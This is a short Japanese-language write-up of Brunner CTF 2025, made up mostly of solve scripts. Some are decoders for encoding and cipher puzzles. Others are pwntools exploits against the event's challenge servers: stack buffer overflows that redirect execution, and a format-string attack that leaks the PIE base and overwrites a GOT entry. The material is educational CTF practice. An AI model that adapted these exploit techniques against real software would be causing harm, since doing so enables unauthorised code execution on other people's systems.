Brunner CTF 2025 Writeup

Brunner CTF にソロで参加したので振り返り用の Writeup.
Shake & Bake という Beginner 用の問題集があったりステップアップ的な問題もあって学習に良い CTF だった

フラグ形式・禁止事項等 (抜粋)

brunner{something}
        

Sanity Check

Join the Discord

DoughBot

Where Robots Cannot Search

The Great Mainframe Bake-Off

raw_ciph = "d0-85-97-89-83-85-d9-6d-85-a2-99-85-a5-85-d9-6d-95-81-97-89-a9-99-81-d4-6d-85-88-e3-6d-a2-c9-6d-a2-89-88-e3-6d-84-95-c1-6d-a2-85-94-81-99-c6-95-89-81-d4-6d-95-d6-6d-f0-f7-f9-f1-6d-85-88-e3-6d-95-c9-6d-84-85-a2-e4-6d-a2-81-e6-6d-c3-c9-c4-c3-c2-c5-c0-99-85-95-95-a4-99-82"

data = bytes.fromhex(" ".join(raw_ciph.split("-")))
print(data.decode("cp500")[::-1])
        

Baker Brain

from pwn import *

host = $HOST
port = 443

sh = remote(host, port, ssl=True)

prompt = sh.recvuntil(">")
print(prompt.decode())

username = "Br14n_th3_b3st_c4k3_b4k3r"

payload = username.encode()

sh.sendline(payload)

prompt = sh.recvuntil(">")
print(prompt.decode())

wordlist = ["red", "yromem"[::-1]]
wordlist.append("berr"+wordlist[1][-1])
wordlist.append(wordlist[0][:2]+wordlist[1][:3]+wordlist[2][:3])

password = "-".join(wordlist)

print(password)

payload = password.encode()
sh.sendline(payload)

sh.interactive()
        

Cookie Jar

TheBakingCase

import string

cipher_raw = "i UseD to coDE liKe A sLEEp-dEprIVed SqUirRel smasHInG keYs HOPinG BugS would dISApPear THrOugh fEAr tHeN i sPilled cOFfeE On mY LaPTop sCReameD iNTerNALly And bakeD BanaNa bREAd oUt oF PAnIc TuRNs OUT doUGh IS EasIEr tO dEbUG ThaN jaVASCrIPt Now I whIsPeR SWEEt NOtHIngs TO sOurDoUGh StARtERs aNd ThReATEN CrOissaNts IF they DoN'T rIsE My OVeN haS fEWeR CRasHEs tHAN mY oLD DEV sErvER aNd WHeN THInGS BurN i jUSt cAlL iT cARAMElIzEd FeatUReS no moRE meetInGS ThAt coUlD HAVE bEeN emailS JUst MufFInS THAt COulD HAvE BEen CupCAkes i OnCE tRIeD tO GiT PuSh MY cInnAmON rOLLs aND paNICkED WHEn I coUldn't reVErt ThEm NOw i liVe IN PeaCE uNLESs tHe yEast getS IDeas abOVe iTs StATion oR a COOkiE TrIES To sEgfAult my toOTH FILlings"
cipher = ""

for i in range(len(cipher_raw)):
    if cipher_raw[i] in string.ascii_letters:
        cipher += cipher_raw[i]

flag = ""

for i in range(len(cipher)//8):
    tmp_bit = 0
    for j in range(8):
        if cipher[i*8+j].islower():
            continue
        else:
            tmp_bit += 2**(7-j)
    flag += chr(tmp_bit)
        
print(flag)
        

Online Cake Flavour Shop

Whisk

import string

with open("whisk.txt", "r") as f:
    cipher = f.read()
    
emojis = ['🥐','🧁','🍰','🍩','🥖']

out_dict = {
    "O": "b", "Z": "r", "🥖": "u", "S": "n", "🥐": "e",
    "D": "t", "R": "h", "H": "m", "C": "s", "T": "c", "🍰": "a",
    "A": "d", "F": "y", "🍩": "o", "🧁": "i", "X": "g", "K": "l",
    "E": "w", "Q": "k", "Y": "p", "P": "f", "M": "v"
    }

deced = ""

for i in range(len(cipher)):
    if cipher[i] not in emojis and cipher[i] not in string.ascii_letters:
        deced += cipher[i]
    elif cipher[i] in out_dict.keys():
        deced += out_dict[cipher[i]]
    else:
        deced += "@"
        
print(deced)
        

Dat Overflow Dough

from pwn import *

host = "dat-overflow-dough-2a8356278fa04f88.challs.brunnerne.xyz"
port = 443

#sh = process("recipe")
sh = remote(host, port, ssl=True)

prompt = sh.recvuntil("retrieve:")
print(prompt.decode())

payload = "a".encode() * 24 # padding
payload += p64(0x4011b6)

sh.sendline(payload)

sh.interactive()
        

Rolling Pin

import string

def rotl(x, k):
    return (x >> (8 - k & 0x1f) | x << (k & 0x1f)) & 0xff

def rotl_bruteforce(k, baked_hex):
    for char in string.printable:
        if baked_hex == rotl(ord(char), k):
            return char

baked_raw = "'b', E4h, D5h, 's',E6h, ACh, 9Ch, BDh,'r', '`', D1h, A1h,'G', 'f', D7h, ':','h', 'f', '}', '#',03h, AEh, D9h, '4','}'"
baked_list = baked_raw.split(",")

for i in range(len(baked_list)):
    baked_list[i] = baked_list[i].strip().strip("'")
    if baked_list[i][-1] == "h" and len(baked_list[i]) > 1:
        baked_list[i] = int(baked_list[i][:-1], 16)
    else:
        baked_list[i] = ord(baked_list[i])

flag = ""
for i in range(0x19):
    flag += rotl_bruteforce(i & 7, baked_list[i])

print(flag)
        

Othello Villains

objdump -d othelloserver -M intel > dumped.txt
        
pwn checksec othelloserver
        
from pwn import *

host = "othello-villains-87a2758ac1f78397.challs.brunnerne.xyz"
port = 443

#sh = process("./othelloserver")
sh = remote(host, port, ssl=True)

prompt = sh.recvuntil("password??")
print(prompt.decode())

payload = "a".encode() * 0x20 # padding
payload += "b".encode() * 0x8 # rbp
payload += p64(0x4012ae)

sh.sendline(payload)

sh.interactive()
        

The Ingredient Shop

from pwn import *

context.binary = "./shop"
elf = ELF("./shop")
puts_offset = elf.got['puts']

use_remote = True
if use_remote == True:
    host = "the-ingredient-shop-87302104bae741f8.challs.brunnerne.xyz"
    port = 443
    sh = remote(host, port, ssl=True)
else:
    context.terminal = ["tmux", "splitw", "-h"]
    sh = process("./shop")

    gdb.attach(sh, gdbscript="""
    break *get_input+128
    c
    """)

prompt = sh.recvuntil("exit")
print(prompt.decode())

payload = "aaaaaaaa".encode()
payload += " %43$p".encode()
sh.sendline(payload)

prompt = sh.recvuntil("choice")
print(prompt.decode())

sh.recvline()
recved = sh.recvline()
print(recved)
address_base = int(recved.decode().strip().split()[-1], 16) - 0x1351
print_flag = address_base + 0x1199
puts_address = address_base + puts_offset

print("here is PIE base address:", hex(address_base))

prompt = sh.recvuntil("exit")
print(prompt.decode())

"""payload = "aaaa".encode()
payload += " %p".encode() * 15"""

payload = fmtstr_payload(8, {puts_address: print_flag}, numbwritten=0, write_size="byte")

sh.sendline(payload)

sh.interactive()